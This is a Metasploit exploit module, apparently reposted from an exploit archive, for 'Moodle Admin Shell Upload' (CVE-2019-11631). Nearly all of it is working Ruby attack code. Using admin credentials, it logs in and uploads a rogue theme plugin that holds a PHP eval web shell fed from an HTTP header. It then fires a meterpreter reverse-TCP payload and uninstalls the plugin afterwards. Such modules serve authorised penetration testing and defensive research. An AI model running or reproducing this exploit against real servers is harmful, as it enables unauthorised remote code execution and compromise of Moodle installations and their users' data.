Exploit for Moodle Admin Shell Upload CVE-2019-11631

## https://sploitus.com/exploit?id=PACKETSTORM:164482
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::File  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Moodle  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Moodle Admin Shell Upload',  
'Description' => %q{  
This module will generate a plugin which can receive a malicious  
payload request and upload it to a server running Moodle  
provided valid admin credentials are used. Then the payload  
is sent for execution, and the plugin uninstalled.  
  
You must have an admin account to exploit this vulnerability.  
  
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus  
'h00die' # msf module cleanup and inclusion  
],  
'References' => [  
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],  
['EDB', '46775'],  
['CVE', '2019-11631'] # rejected, its a feature!  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'Privileged' => false,  
'DisclosureDate' => '2019-04-28',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },  
'Payload' => {  
'BadChars' => "'",  
'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])  
]  
)  
end  
  
def create_addon_file  
# There are syntax errors in creating zip file. So the payload was sent as base64.  
plugin_file = Rex::Zip::Archive.new  
header = Rex::Text.rand_text_alpha_upper(4)  
plugin_name = Rex::Text.rand_text_alpha_lower(8)  
  
print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")  
  
path = "#{plugin_name}/version.php"  
path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"  
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.  
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")  
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>")  
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")  
return plugin_file.pack, header, plugin_name  
end  
  
def exec_code(plugin_name, header)  
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".  
print_status('Triggering payload')  
send_request_cgi({  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),  
'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"  
})  
end  
  
def check  
v = moodle_version  
return CheckCode::Detected('Unable to determine moodle version') if v.nil?  
  
# This is a feature, not a vuln, so we assume this to work on 3.0.0+  
# assuming the plugin arch changed before that.  
# > 3.0, < 3.9  
version = Rex::Version.new(v)  
if version > Rex::Version.new('3.0.0')  
return CheckCode::Appears("Exploitable Moodle version #{v} detected")  
end  
  
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")  
end  
  
def exploit  
v = moodle_version  
fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?  
  
version = Rex::Version.new(v)  
print_status("Authenticating as user: #{datastore['USERNAME']}")  
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])  
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?  
cookies.each do |cookie|  
cookie_jar.add(cookie)  
end  
  
print_good("Authentication was successful with user: #{datastore['USERNAME']}")  
print_status('Creating addon file')  
addon_content, header, addon_name = create_addon_file  
print_status('Uploading addon')  
file_id, sesskey = upload_addon(addon_name, version, addon_content)  
fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?  
print_good('Upload Successful. Integrating addon')  
ret = plugin_integration(sesskey, file_id, addon_name)  
if ret.nil?  
fail_with(Failure::NoAccess, 'Install not successful')  
end  
exec_code(addon_name, header)  
print_status('Uninstalling plugin after 5 second delay so payload can change directories')  
sleep(5)  
remove_plugin("theme_#{addon_name}", version, sesskey)  
end  
  
def on_new_session(_)  
print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')  
end  
end